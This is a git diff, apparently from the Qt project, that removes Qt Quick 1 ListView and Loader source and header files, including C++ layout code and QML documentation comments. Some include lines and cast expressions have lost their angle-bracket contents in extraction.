- FxListItem1 *movedItem = moved.take(item->index); - if (!movedItem) - movedItem = d->createItem(item->index); - if (item->index <= firstVisible->index) - moveBy -= movedItem->size(); - it = d->visibleItems.insert(it, movedItem); - ++it; - --remaining; - } else { - if (item->index != -1) { - if (item->index >= to) { - // update everything after the moved items. - item->index += count; - } - endIndex = item->index; - } - ++it; - } - } - - // If we have moved items to the end of the visible items - // then add any existing moved items that we have - while (FxListItem1 *item = moved.take(endIndex+1)) { - d->visibleItems.append(item); - ++endIndex; - } - - // update visibleIndex - for (it = d->visibleItems.begin(); it != d->visibleItems.end(); ++it) { - if ((*it)->index != -1) { - d->visibleIndex = (*it)->index; - break; - } - } - - // Fix current index - if (d->currentIndex >= 0 && d->currentItem) { - int oldCurrent = d->currentIndex; - d->currentIndex = d->model->indexOf(d->currentItem->item, this); - if (oldCurrent != d->currentIndex) { - d->currentItem->index = d->currentIndex; - emit currentIndexChanged(); - } - } - - // Whatever moved items remain are no longer visible items. - while (moved.count()) { - int idx = moved.begin().key(); - FxListItem1 *item = moved.take(idx); - if (d->currentItem && item->item == d->currentItem->item) - item->setPosition(d->positionAt(idx)); - d->releaseItem(item); - } - - // Ensure we don't cause an ugly list scroll. - d->visibleItems.first()->setPosition(d->visibleItems.first()->position() + moveBy); - - d->updateSections(); - d->layout(); -} - -void QDeclarative1ListView::itemsChanged(int, int) -{ - Q_D(QDeclarative1ListView); - d->updateSections(); - d->layout(); -} - -void QDeclarative1ListView::modelReset() -{ - Q_D(QDeclarative1ListView); - d->moveReason = QDeclarative1ListViewPrivate::SetIndex; - d->regenerate(); - if (d->highlight && d->currentItem) { - if (d->autoHighlight) - d->highlight->setPosition(d->currentItem->position()); - d->updateTrackedItem(); - } - d->moveReason = QDeclarative1ListViewPrivate::Other; - emit countChanged(); -} - -void QDeclarative1ListView::createdItem(int index, QDeclarativeItem *item) -{ - Q_D(QDeclarative1ListView); - if (d->requestedIndex != index) { - item->setParentItem(contentItem()); - d->unrequestedItems.insert(item, index); - if (d->orient == QDeclarative1ListView::Vertical) { - item->setY(d->positionAt(index)); - } else { - if (d->isRightToLeft()) - item->setX(-d->positionAt(index)-item->width()); - else - item->setX(d->positionAt(index)); - } - } -} - -void QDeclarative1ListView::destroyingItem(QDeclarativeItem *item) -{ - Q_D(QDeclarative1ListView); - d->unrequestedItems.remove(item); -} - -void QDeclarative1ListView::animStopped() -{ - Q_D(QDeclarative1ListView); - d->bufferMode = QDeclarative1ListViewPrivate::NoBuffer; - if (d->haveHighlightRange && d->highlightRange == QDeclarative1ListView::StrictlyEnforceRange) - d->updateHighlight(); -} - -QDeclarative1ListViewAttached *QDeclarative1ListView::qmlAttachedProperties(QObject *obj) -{ - return new QDeclarative1ListViewAttached(obj); -} - - - -QT_END_NAMESPACE diff --git a/src/qtquick1/graphicsitems/qdeclarativelistview_p.h b/src/qtquick1/graphicsitems/qdeclarativelistview_p.h deleted file mode 100644 index 41d997fc08..0000000000 --- a/src/qtquick1/graphicsitems/qdeclarativelistview_p.h +++ /dev/null @@ -1,370 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the QtDeclarative module of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:LGPL$ -** GNU Lesser General Public License Usage -** This file may be used under the terms of the GNU Lesser General Public -** License version 2.1 as published by the Free Software Foundation and -** appearing in the file LICENSE.LGPL included in the packaging of this -** file. Please review the following information to ensure the GNU Lesser -** General Public License version 2.1 requirements will be met: -** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. -** -** In addition, as a special exception, Nokia gives you certain additional -** rights. These rights are described in the Nokia Qt LGPL Exception -** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. -** -** GNU General Public License Usage -** Alternatively, this file may be used under the terms of the GNU General -** Public License version 3.0 as published by the Free Software Foundation -** and appearing in the file LICENSE.GPL included in the packaging of this -** file. Please review the following information to ensure the GNU General -** Public License version 3.0 requirements will be met: -** http://www.gnu.org/copyleft/gpl.html. -** -** Other Usage -** Alternatively, this file may be used in accordance with the terms and -** conditions contained in a signed written agreement between you and Nokia. -** -** -** -** -** -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -#ifndef QDECLARATIVELISTVIEW_H -#define QDECLARATIVELISTVIEW_H - -#include "private/qdeclarativeflickable_p.h" -#include "QtDeclarative/private/qdeclarativeguard_p.h" - -QT_BEGIN_HEADER - -QT_BEGIN_NAMESPACE - - -class Q_AUTOTEST_EXPORT QDeclarative1ViewSection : public QObject -{ - Q_OBJECT - Q_PROPERTY(QString property READ property WRITE setProperty NOTIFY propertyChanged) - Q_PROPERTY(SectionCriteria criteria READ criteria WRITE setCriteria NOTIFY criteriaChanged) - Q_PROPERTY(QDeclarativeComponent *delegate READ delegate WRITE setDelegate NOTIFY delegateChanged) - Q_ENUMS(SectionCriteria) -public: - QDeclarative1ViewSection(QObject *parent=0) : QObject(parent), m_criteria(FullString), m_delegate(0) {} - - QString property() const { return m_property; } - void setProperty(const QString &); - - enum SectionCriteria { FullString, FirstCharacter }; - SectionCriteria criteria() const { return m_criteria; } - void setCriteria(SectionCriteria); - - QDeclarativeComponent *delegate() const { return m_delegate; } - void setDelegate(QDeclarativeComponent *delegate); - - QString sectionString(const QString &value); - -Q_SIGNALS: - void propertyChanged(); - void criteriaChanged(); - void delegateChanged(); - -private: - QString m_property; - SectionCriteria m_criteria; - QDeclarativeComponent *m_delegate; -}; - - -class QDeclarative1VisualModel; -class QDeclarative1ListViewAttached; -class QDeclarative1ListViewPrivate; -class Q_AUTOTEST_EXPORT QDeclarative1ListView : public QDeclarative1Flickable -{ - Q_OBJECT - Q_DECLARE_PRIVATE_D(QGraphicsItem::d_ptr.data(), QDeclarative1ListView) - - Q_PROPERTY(QVariant model READ model WRITE setModel NOTIFY modelChanged) - Q_PROPERTY(QDeclarativeComponent *delegate READ delegate WRITE setDelegate NOTIFY delegateChanged) - Q_PROPERTY(int currentIndex READ currentIndex WRITE setCurrentIndex NOTIFY currentIndexChanged) - Q_PROPERTY(QDeclarativeItem *currentItem READ currentItem NOTIFY currentIndexChanged) - Q_PROPERTY(int count READ count NOTIFY countChanged) - - Q_PROPERTY(QDeclarativeComponent *highlight READ highlight WRITE setHighlight NOTIFY highlightChanged) - Q_PROPERTY(QDeclarativeItem *highlightItem READ highlightItem NOTIFY highlightItemChanged) - Q_PROPERTY(bool highlightFollowsCurrentItem READ highlightFollowsCurrentItem WRITE setHighlightFollowsCurrentItem NOTIFY highlightFollowsCurrentItemChanged) - Q_PROPERTY(qreal highlightMoveSpeed READ highlightMoveSpeed WRITE setHighlightMoveSpeed NOTIFY highlightMoveSpeedChanged) - Q_PROPERTY(int highlightMoveDuration READ highlightMoveDuration WRITE setHighlightMoveDuration NOTIFY highlightMoveDurationChanged) - Q_PROPERTY(qreal highlightResizeSpeed READ highlightResizeSpeed WRITE setHighlightResizeSpeed NOTIFY highlightResizeSpeedChanged) - Q_PROPERTY(int highlightResizeDuration READ highlightResizeDuration WRITE setHighlightResizeDuration NOTIFY highlightResizeDurationChanged) - - Q_PROPERTY(qreal preferredHighlightBegin READ preferredHighlightBegin WRITE setPreferredHighlightBegin NOTIFY preferredHighlightBeginChanged RESET resetPreferredHighlightBegin) - Q_PROPERTY(qreal preferredHighlightEnd READ preferredHighlightEnd WRITE setPreferredHighlightEnd NOTIFY preferredHighlightEndChanged RESET resetPreferredHighlightEnd) - Q_PROPERTY(HighlightRangeMode highlightRangeMode READ highlightRangeMode WRITE setHighlightRangeMode NOTIFY highlightRangeModeChanged) - - Q_PROPERTY(qreal spacing READ spacing WRITE setSpacing NOTIFY spacingChanged) - Q_PROPERTY(Orientation orientation READ orientation WRITE setOrientation NOTIFY orientationChanged) - Q_PROPERTY(Qt::LayoutDirection layoutDirection READ layoutDirection WRITE setLayoutDirection NOTIFY layoutDirectionChanged REVISION 1) - Q_PROPERTY(Qt::LayoutDirection effectiveLayoutDirection READ effectiveLayoutDirection NOTIFY effectiveLayoutDirectionChanged REVISION 1) - Q_PROPERTY(bool keyNavigationWraps READ isWrapEnabled WRITE setWrapEnabled NOTIFY keyNavigationWrapsChanged) - Q_PROPERTY(int cacheBuffer READ cacheBuffer WRITE setCacheBuffer NOTIFY cacheBufferChanged) - Q_PROPERTY(QDeclarative1ViewSection *section READ sectionCriteria CONSTANT) - Q_PROPERTY(QString currentSection READ currentSection NOTIFY currentSectionChanged) - - Q_PROPERTY(SnapMode snapMode READ snapMode WRITE setSnapMode NOTIFY snapModeChanged) - - Q_PROPERTY(QDeclarativeComponent *header READ header WRITE setHeader NOTIFY headerChanged) - Q_PROPERTY(QDeclarativeComponent *footer READ footer WRITE setFooter NOTIFY footerChanged) - - Q_ENUMS(HighlightRangeMode) - Q_ENUMS(Orientation) - Q_ENUMS(SnapMode) - Q_ENUMS(PositionMode) - Q_CLASSINFO("DefaultProperty", "data") - -public: - QDeclarative1ListView(QDeclarativeItem *parent=0); - ~QDeclarative1ListView(); - - QVariant model() const; - void setModel(const QVariant &); - - QDeclarativeComponent *delegate() const; - void setDelegate(QDeclarativeComponent *); - - int currentIndex() const; - void setCurrentIndex(int idx); - - QDeclarativeItem *currentItem(); - QDeclarativeItem *highlightItem(); - int count() const; - - QDeclarativeComponent *highlight() const; - void setHighlight(QDeclarativeComponent *highlight); - - bool highlightFollowsCurrentItem() const; - void setHighlightFollowsCurrentItem(bool); - - enum HighlightRangeMode { NoHighlightRange, ApplyRange, StrictlyEnforceRange }; - HighlightRangeMode highlightRangeMode() const; - void setHighlightRangeMode(HighlightRangeMode mode); - - qreal preferredHighlightBegin() const; - void setPreferredHighlightBegin(qreal); - void resetPreferredHighlightBegin(); - - qreal preferredHighlightEnd() const; - void setPreferredHighlightEnd(qreal); - void resetPreferredHighlightEnd(); - - qreal spacing() const; - void setSpacing(qreal spacing); - - enum Orientation { Horizontal = Qt::Horizontal, Vertical = Qt::Vertical }; - Orientation orientation() const; - void setOrientation(Orientation); - - Qt::LayoutDirection layoutDirection() const; - void setLayoutDirection(Qt::LayoutDirection); - Qt::LayoutDirection effectiveLayoutDirection() const; - - bool isWrapEnabled() const; - void setWrapEnabled(bool); - - int cacheBuffer() const; - void setCacheBuffer(int); - - QDeclarative1ViewSection *sectionCriteria(); - QString currentSection() const; - - qreal highlightMoveSpeed() const; - void setHighlightMoveSpeed(qreal); - - int highlightMoveDuration() const; - void setHighlightMoveDuration(int); - - qreal highlightResizeSpeed() const; - void setHighlightResizeSpeed(qreal); - - int highlightResizeDuration() const; - void setHighlightResizeDuration(int); - - enum SnapMode { NoSnap, SnapToItem, SnapOneItem }; - SnapMode snapMode() const; - void setSnapMode(SnapMode mode); - - QDeclarativeComponent *footer() const; - void setFooter(QDeclarativeComponent *); - - QDeclarativeComponent *header() const; - void setHeader(QDeclarativeComponent *); - - virtual void setContentX(qreal pos); - virtual void setContentY(qreal pos); - - static QDeclarative1ListViewAttached *qmlAttachedProperties(QObject *); - - enum PositionMode { Beginning, Center, End, Visible, Contain }; - - Q_INVOKABLE void positionViewAtIndex(int index, int mode); - Q_INVOKABLE int indexAt(qreal x, qreal y) const; - Q_INVOKABLE Q_REVISION(1) void positionViewAtBeginning(); - Q_INVOKABLE Q_REVISION(1) void positionViewAtEnd(); - -public Q_SLOTS: - void incrementCurrentIndex(); - void decrementCurrentIndex(); - -Q_SIGNALS: - void countChanged(); - void spacingChanged(); - void orientationChanged(); - Q_REVISION(1) void layoutDirectionChanged(); - Q_REVISION(1) void effectiveLayoutDirectionChanged(); - void currentIndexChanged(); - void currentSectionChanged(); - void highlightMoveSpeedChanged(); - void highlightMoveDurationChanged(); - void highlightResizeSpeedChanged(); - void highlightResizeDurationChanged(); - void highlightChanged(); - void highlightItemChanged(); - void modelChanged(); - void delegateChanged(); - void highlightFollowsCurrentItemChanged(); - void preferredHighlightBeginChanged(); - void preferredHighlightEndChanged(); - void highlightRangeModeChanged(); - void keyNavigationWrapsChanged(); - void cacheBufferChanged(); - void snapModeChanged(); - void headerChanged(); - void footerChanged(); - -protected: - virtual bool event(QEvent *event); - virtual void viewportMoved(); - virtual qreal minYExtent() const; - virtual qreal maxYExtent() const; - virtual qreal minXExtent() const; - virtual qreal maxXExtent() const; - virtual void keyPressEvent(QKeyEvent *); - virtual void geometryChanged(const QRectF &newGeometry,const QRectF &oldGeometry); - virtual void componentComplete(); - -private Q_SLOTS: - void updateSections(); - void refill(); - void trackedPositionChanged(); - void itemsInserted(int index, int count); - void itemsRemoved(int index, int count); - void itemsMoved(int from, int to, int count); - void itemsChanged(int index, int count); - void modelReset(); - void destroyRemoved(); - void createdItem(int index, QDeclarativeItem *item); - void destroyingItem(QDeclarativeItem *item); - void animStopped(); -}; - -class QDeclarative1ListViewAttached : public QObject -{ - Q_OBJECT -public: - QDeclarative1ListViewAttached(QObject *parent) - : QObject(parent), m_view(0), m_isCurrent(false), m_delayRemove(false) {} - ~QDeclarative1ListViewAttached() {} - - Q_PROPERTY(QDeclarative1ListView *view READ view NOTIFY viewChanged) - QDeclarative1ListView *view() { return m_view; } - void setView(QDeclarative1ListView *view) { - if (view != m_view) { - m_view = view; - emit viewChanged(); - } - } - - Q_PROPERTY(bool isCurrentItem READ isCurrentItem NOTIFY currentItemChanged) - bool isCurrentItem() const { return m_isCurrent; } - void setIsCurrentItem(bool c) { - if (m_isCurrent != c) { - m_isCurrent = c; - emit currentItemChanged(); - } - } - - Q_PROPERTY(QString previousSection READ prevSection NOTIFY prevSectionChanged) - QString prevSection() const { return m_prevSection; } - void setPrevSection(const QString §) { - if (m_prevSection != sect) { - m_prevSection = sect; - emit prevSectionChanged(); - } - } - - Q_PROPERTY(QString nextSection READ nextSection NOTIFY nextSectionChanged) - QString nextSection() const { return m_nextSection; } - void setNextSection(const QString §) { - if (m_nextSection != sect) { - m_nextSection = sect; - emit nextSectionChanged(); - } - } - - Q_PROPERTY(QString section READ section NOTIFY sectionChanged) - QString section() const { return m_section; } - void setSection(const QString §) { - if (m_section != sect) { - m_section = sect; - emit sectionChanged(); - } - } - - Q_PROPERTY(bool delayRemove READ delayRemove WRITE setDelayRemove NOTIFY delayRemoveChanged) - bool delayRemove() const { return m_delayRemove; } - void setDelayRemove(bool delay) { - if (m_delayRemove != delay) { - m_delayRemove = delay; - emit delayRemoveChanged(); - } - } - - void emitAdd() { emit add(); } - void emitRemove() { emit remove(); } - -Q_SIGNALS: - void currentItemChanged(); - void sectionChanged(); - void prevSectionChanged(); - void nextSectionChanged(); - void delayRemoveChanged(); - void add(); - void remove(); - void viewChanged(); - -public: - QDeclarativeGuard m_view; - mutable QString m_section; - QString m_prevSection; - QString m_nextSection; - bool m_isCurrent : 1; - bool m_delayRemove : 1; -}; - -QT_END_NAMESPACE - -QML_DECLARE_TYPEINFO(QDeclarative1ListView, QML_HAS_ATTACHED_PROPERTIES) -QML_DECLARE_TYPE(QDeclarative1ListView) -QML_DECLARE_TYPE(QDeclarative1ViewSection) - -QT_END_HEADER - -#endif diff --git a/src/qtquick1/graphicsitems/qdeclarativeloader.cpp b/src/qtquick1/graphicsitems/qdeclarativeloader.cpp deleted file mode 100644 index e14c1b8f0e..0000000000 --- a/src/qtquick1/graphicsitems/qdeclarativeloader.cpp +++ /dev/null @@ -1,602 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the QtDeclarative module of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:LGPL$ -** GNU Lesser General Public License Usage -** This file may be used under the terms of the GNU Lesser General Public -** License version 2.1 as published by the Free Software Foundation and -** appearing in the file LICENSE.LGPL included in the packaging of this -** file. Please review the following information to ensure the GNU Lesser -** General Public License version 2.1 requirements will be met: -** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. -** -** In addition, as a special exception, Nokia gives you certain additional -** rights. These rights are described in the Nokia Qt LGPL Exception -** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. -** -** GNU General Public License Usage -** Alternatively, this file may be used under the terms of the GNU General -** Public License version 3.0 as published by the Free Software Foundation -** and appearing in the file LICENSE.GPL included in the packaging of this -** file. Please review the following information to ensure the GNU General -** Public License version 3.0 requirements will be met: -** http://www.gnu.org/copyleft/gpl.html. -** -** Other Usage -** Alternatively, this file may be used in accordance with the terms and -** conditions contained in a signed written agreement between you and Nokia. -** -** -** -** -** -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -#include "QtQuick1/private/qdeclarativeloader_p_p.h" - -#include -#include -#include - -QT_BEGIN_NAMESPACE - - - -QDeclarative1LoaderPrivate::QDeclarative1LoaderPrivate() - : item(0), component(0), ownComponent(false), updatingSize(false), - itemWidthValid(false), itemHeightValid(false) -{ -} - -QDeclarative1LoaderPrivate::~QDeclarative1LoaderPrivate() -{ -} - -void QDeclarative1LoaderPrivate::itemGeometryChanged(QDeclarativeItem *resizeItem, const QRectF &newGeometry, const QRectF &oldGeometry) -{ - if (resizeItem == item) { - if (!updatingSize && newGeometry.width() != oldGeometry.width()) - itemWidthValid = true; - if (!updatingSize && newGeometry.height() != oldGeometry.height()) - itemHeightValid = true; - _q_updateSize(false); - } - QDeclarativeItemChangeListener::itemGeometryChanged(resizeItem, newGeometry, oldGeometry); -} - -void QDeclarative1LoaderPrivate::clear() -{ - if (ownComponent) { - component->deleteLater(); - component = 0; - ownComponent = false; - } - source = QUrl(); - - if (item) { - if (QDeclarativeItem *qmlItem = qobject_cast(item)) { - QDeclarativeItemPrivate *p = - static_cast(QGraphicsItemPrivate::get(qmlItem)); - p->removeItemChangeListener(this, QDeclarativeItemPrivate::Geometry); - } - - // We can't delete immediately because our item may have triggered - // the Loader to load a different item. - if (item->scene()) { - item->scene()->removeItem(item); - } else { - item->setParentItem(0); - item->setVisible(false); - } - item->deleteLater(); - item = 0; - } -} - -void QDeclarative1LoaderPrivate::initResize() -{ - Q_Q(QDeclarative1Loader); - if (QDeclarativeItem *qmlItem = qobject_cast(item)) { - QDeclarativeItemPrivate *p = - static_cast(QGraphicsItemPrivate::get(qmlItem)); - p->addItemChangeListener(this, QDeclarativeItemPrivate::Geometry); - // We may override the item's size, so we need to remember - // whether the item provided its own valid size. - itemWidthValid = p->widthValid; - itemHeightValid = p->heightValid; - } else if (item && item->isWidget()) { - QGraphicsWidget *widget = static_cast(item); - widget->installEventFilter(q); - } - _q_updateSize(); -} - -/*! - \qmlclass Loader QDeclarative1Loader - \inqmlmodule QtQuick 1 - \ingroup qml-utility-elements - \since QtQuick 1.0 - \inherits Item - - \brief The Loader item allows dynamically loading an Item-based - subtree from a URL or Component. - - Loader is used to dynamically load visual QML components. It can load a - QML file (using the \l source property) or a \l Component object (using - the \l sourceComponent property). It is useful for delaying the creation - of a component until it is required: for example, when a component should - be created on demand, or when a component should not be created - unnecessarily for performance reasons. - - Here is a Loader that loads "Page1.qml" as a component when the - \l MouseArea is clicked: - - \snippet doc/src/snippets/qtquick1/loader/simple.qml 0 - - The loaded item can be accessed using the \l item property. - - If the \l source or \l sourceComponent changes, any previously instantiated - items are destroyed. Setting \l source to an empty string or setting - \l sourceComponent to \c undefined destroys the currently loaded item, - freeing resources and leaving the Loader empty. - - \section2 Loader sizing behavior - - Loader is like any other visual item and must be positioned and sized - accordingly to become visible. - - \list - \o If an explicit size is not specified for the Loader, the Loader - is automatically resized to the size of the loaded item once the - component is loaded. - \o If the size of the Loader is specified explicitly by setting - the width, height or by anchoring, the loaded item will be resized - to the size of the Loader. - \endlist - - In both scenarios the size of the item and the Loader are identical. - This ensures that anchoring to the Loader is equivalent to anchoring - to the loaded item. - - \table - \row - \o sizeloader.qml - \o sizeitem.qml - \row - \o \snippet doc/src/snippets/qtquick1/loader/sizeloader.qml 0 - \o \snippet doc/src/snippets/qtquick1/loader/sizeitem.qml 0 - \row - \o The red rectangle will be sized to the size of the root item. - \o The red rectangle will be 50x50, centered in the root item. - \endtable - - - \section2 Receiving signals from loaded items - - Any signals emitted from the loaded item can be received using the - \l Connections element. For example, the following \c application.qml - loads \c MyItem.qml, and is able to receive the \c message signal from - the loaded item through a \l Connections object: - - \table - \row - \o application.qml - \o MyItem.qml - \row - \o \snippet doc/src/snippets/qtquick1/loader/connections.qml 0 - \o \snippet doc/src/snippets/qtquick1/loader/MyItem.qml 0 - \endtable - - Alternatively, since \c MyItem.qml is loaded within the scope of the - Loader, it could also directly call any function defined in the Loader or - its parent \l Item. - - - \section2 Focus and key events - - Loader is a focus scope. Its \l {Item::}{focus} property must be set to - \c true for any of its children to get the \e {active focus}. (See - \l{qmlfocus#Acquiring Focus and Focus Scopes}{the focus documentation page} - for more details.) Any key events received in the loaded item should likely - also be \l {KeyEvent::}{accepted} so they are not propagated to the Loader. - - For example, the following \c application.qml loads \c KeyReader.qml when - the \l MouseArea is clicked. Notice the \l {Item::}{focus} property is - set to \c true for the Loader as well as the \l Item in the dynamically - loaded object: - - \table - \row - \o application.qml - \o KeyReader.qml - \row - \o \snippet doc/src/snippets/qtquick1/loader/focus.qml 0 - \o \snippet doc/src/snippets/qtquick1/loader/KeyReader.qml 0 - \endtable - - Once \c KeyReader.qml is loaded, it accepts key events and sets - \c event.accepted to \c true so that the event is not propagated to the - parent \l Rectangle. - - \sa {dynamic-object-creation}{Dynamic Object Creation} -*/ - -QDeclarative1Loader::QDeclarative1Loader(QDeclarativeItem *parent) - : QDeclarative1ImplicitSizeItem(*(new QDeclarative1LoaderPrivate), parent) -{ - Q_D(QDeclarative1Loader); - d->flags |= QGraphicsItem::ItemIsFocusScope; -} - -QDeclarative1Loader::~QDeclarative1Loader() -{ - Q_D(QDeclarative1Loader); - if (d->item) { - if (QDeclarativeItem *qmlItem = qobject_cast(d->item)) { - QDeclarativeItemPrivate *p = - static_cast(QGraphicsItemPrivate::get(qmlItem)); - p->removeItemChangeListener(d, QDeclarativeItemPrivate::Geometry); - } - } -} - -/*! - \qmlproperty url QtQuick1::Loader::source - This property holds the URL of the QML component to instantiate. - - Note the QML component must be an \l{Item}-based component. The loader - cannot load non-visual components. - - To unload the currently loaded item, set this property to an empty string, - or set \l sourceComponent to \c undefined. Setting \c source to a - new URL will also cause the item created by the previous URL to be unloaded. - - \sa sourceComponent, status, progress -*/ -QUrl QDeclarative1Loader::source() const -{ - Q_D(const QDeclarative1Loader); - return d->source; -} - -void QDeclarative1Loader::setSource(const QUrl &url) -{ - Q_D(QDeclarative1Loader); - if (d->source == url) - return; - - d->clear(); - - d->source = url; - - if (d->source.isEmpty()) { - emit sourceChanged(); - emit statusChanged(); - emit progressChanged(); - emit itemChanged(); - return; - } - - d->component = new QDeclarativeComponent(qmlEngine(this), d->source, this); - d->ownComponent = true; - - if (isComponentComplete()) - d->load(); -} - -/*! - \qmlproperty Component QtQuick1::Loader::sourceComponent - This property holds the \l{Component} to instantiate. - - \qml - Item { - Component { - id: redSquare - Rectangle { color: "red"; width: 10; height: 10 } - } - - Loader { sourceComponent: redSquare } - Loader { sourceComponent: redSquare; x: 10 } - } - \endqml - - To unload the currently loaded item, set this property to an empty string - or \c undefined. - - \sa source, progress -*/ - -QDeclarativeComponent *QDeclarative1Loader::sourceComponent() const -{ - Q_D(const QDeclarative1Loader); - return d->component; -} - -void QDeclarative1Loader::setSourceComponent(QDeclarativeComponent *comp) -{ - Q_D(QDeclarative1Loader); - if (comp == d->component) - return; - - d->clear(); - - d->component = comp; - d->ownComponent = false; - - if (!d->component) { - emit sourceChanged(); - emit statusChanged(); - emit progressChanged(); - emit itemChanged(); - return; - } - - if (isComponentComplete()) - d->load(); -} - -void QDeclarative1Loader::resetSourceComponent() -{ - setSourceComponent(0); -} - -void QDeclarative1LoaderPrivate::load() -{ - Q_Q(QDeclarative1Loader); - - if (!q->isComponentComplete() || !component) - return; - - if (!component->isLoading()) { - _q_sourceLoaded(); - } else { - QObject::connect(component, SIGNAL(statusChanged(QDeclarativeComponent::Status)), - q, SLOT(_q_sourceLoaded())); - QObject::connect(component, SIGNAL(progressChanged(qreal)), - q, SIGNAL(progressChanged())); - emit q->statusChanged(); - emit q->progressChanged(); - emit q->sourceChanged(); - emit q->itemChanged(); - } -} - -void QDeclarative1LoaderPrivate::_q_sourceLoaded() -{ - Q_Q(QDeclarative1Loader); - - if (component) { - if (!component->errors().isEmpty()) { - QDeclarativeEnginePrivate::warning(qmlEngine(q), component->errors()); - emit q->sourceChanged(); - emit q->statusChanged(); - emit q->progressChanged(); - return; - } - - QDeclarativeContext *creationContext = component->creationContext(); - if (!creationContext) creationContext = qmlContext(q); - QDeclarativeContext *ctxt = new QDeclarativeContext(creationContext); - ctxt->setContextObject(q); - - QDeclarativeGuard c = component; - QObject *obj = component->beginCreate(ctxt); - if (component != c) { - // component->create could trigger a change in source that causes - // component to be set to something else. In that case we just - // need to cleanup. - if (c) - c->completeCreate(); - delete obj; - delete ctxt; - return; - } - if (obj) { - item = qobject_cast(obj); - if (item) { - QDeclarative_setParent_noEvent(ctxt, obj); - QDeclarative_setParent_noEvent(item, q); - item->setParentItem(q); -// item->setFocus(true); - initResize(); - } else { - qmlInfo(q) << QDeclarative1Loader::tr("Loader does not support loading non-visual elements."); - delete obj; - delete ctxt; - } - } else { - if (!component->errors().isEmpty()) - QDeclarativeEnginePrivate::warning(qmlEngine(q), component->errors()); - delete obj; - delete ctxt; - source = QUrl(); - } - component->completeCreate(); - emit q->sourceChanged(); - emit q->statusChanged(); - emit q->progressChanged(); - emit q->itemChanged(); - emit q->loaded(); - } -} - -/*! - \qmlproperty enumeration QtQuick1::Loader::status - - This property holds the status of QML loading. It can be one of: - \list - \o Loader.Null - no QML source has been set - \o Loader.Ready - the QML source has been loaded - \o Loader.Loading - the QML source is currently being loaded - \o Loader.Error - an error occurred while loading the QML source - \endlist - - Use this status to provide an update or respond to the status change in some way. - For example, you could: - - \list - \o Trigger a state change: - \qml - State { name: 'loaded'; when: loader.status == Loader.Ready } - \endqml - - \o Implement an \c onStatusChanged signal handler: - \qml - Loader { - id: loader - onStatusChanged: if (loader.status == Loader.Ready) console.log('Loaded') - } - \endqml - - \o Bind to the status value: - \qml - Text { text: loader.status == Loader.Ready ? 'Loaded' : 'Not loaded' } - \endqml - \endlist - - Note that if the source is a local file, the status will initially be Ready (or Error). While - there will be no onStatusChanged signal in that case, the onLoaded will still be invoked. - - \sa progress -*/ - -QDeclarative1Loader::Status QDeclarative1Loader::status() const -{ - Q_D(const QDeclarative1Loader); - - if (d->component) - return static_cast(d->component->status()); - - if (d->item) - return Ready; - - return d->source.isEmpty() ? Null : Error; -} - -void QDeclarative1Loader::componentComplete() -{ - Q_D(QDeclarative1Loader); - - QDeclarativeItem::componentComplete(); - d->load(); -} - - -/*! - \qmlsignal QtQuick1::Loader::onLoaded() - - This handler is called when the \l status becomes \c Loader.Ready, or on successful - initial load. -*/ - - -/*! -\qmlproperty real QtQuick1::Loader::progress - -This property holds the progress of loading QML data from the network, from -0.0 (nothing loaded) to 1.0 (finished). Most QML files are quite small, so -this value will rapidly change from 0 to 1. - -\sa status -*/ -qreal QDeclarative1Loader::progress() const -{ - Q_D(const QDeclarative1Loader); - - if (d->item) - return 1.0; - - if (d->component) - return d->component->progress(); - - return 0.0; -} - -void QDeclarative1LoaderPrivate::_q_updateSize(bool loaderGeometryChanged) -{ - Q_Q(QDeclarative1Loader); - if (!item || updatingSize) - return; - - updatingSize = true; - if (QDeclarativeItem *qmlItem = qobject_cast(item)) { - if (!itemWidthValid) - q->setImplicitWidth(qmlItem->implicitWidth()); - else - q->setImplicitWidth(qmlItem->width()); - if (loaderGeometryChanged && q->widthValid()) - qmlItem->setWidth(q->width()); - if (!itemHeightValid) - q->setImplicitHeight(qmlItem->implicitHeight()); - else - q->setImplicitHeight(qmlItem->height()); - if (loaderGeometryChanged && q->heightValid()) - qmlItem->setHeight(q->height()); - } else if (item && item->isWidget()) { - QGraphicsWidget *widget = static_cast(item); - QSizeF widgetSize = widget->size(); - q->setImplicitWidth(widgetSize.width()); - if (loaderGeometryChanged && q->widthValid()) - widgetSize.setWidth(q->width()); - q->setImplicitHeight(widgetSize.height()); - if (loaderGeometryChanged && q->heightValid()) - widgetSize.setHeight(q->height()); - if (widget->size() != widgetSize) - widget->resize(widgetSize); - } - updatingSize = false; -} - -/*! - \qmlproperty Item QtQuick1::Loader::item - This property holds the top-level item that is currently loaded. -*/ -QGraphicsObject *QDeclarative1Loader::item() const -{ - Q_D(const QDeclarative1Loader); - return d->item; -} - -void QDeclarative1Loader::geometryChanged(const QRectF &newGeometry, const QRectF &oldGeometry) -{ - Q_D(QDeclarative1Loader); - if (newGeometry != oldGeometry) { - d->_q_updateSize(); - } - QDeclarativeItem::geometryChanged(newGeometry, oldGeometry); -} - -QVariant QDeclarative1Loader::itemChange(GraphicsItemChange change, const QVariant &value) -{ - Q_D(QDeclarative1Loader); - if (change == ItemSceneHasChanged) { - if (d->item && d->item->isWidget()) { - d->item->removeEventFilter(this); - d->item->installEventFilter(this); - } - } - return QDeclarativeItem::itemChange(change, value); -} - -bool QDeclarative1Loader::eventFilter(QObject *watched, QEvent *e) -{ - Q_D(QDeclarative1Loader); - if (watched == d->item && e->type() == QEvent::GraphicsSceneResize) { - if (d->item && d->item->isWidget()) - d->_q_updateSize(false); - } - return QDeclarativeItem::eventFilter(watched, e); -} - -#include - - - -QT_END_NAMESPACE diff --git a/src/qtquick1/graphicsitems/qdeclarativeloader_p.h b/src/qtquick1/graphicsitems/qdeclarativeloader_p.h deleted file mode 100644 index c321ba36f9..0000000000 --- a/src/qtquick1/graphicsitems/qdeclarativeloader_p.h +++ /dev/null @@ -1,107 +0,0 @@ 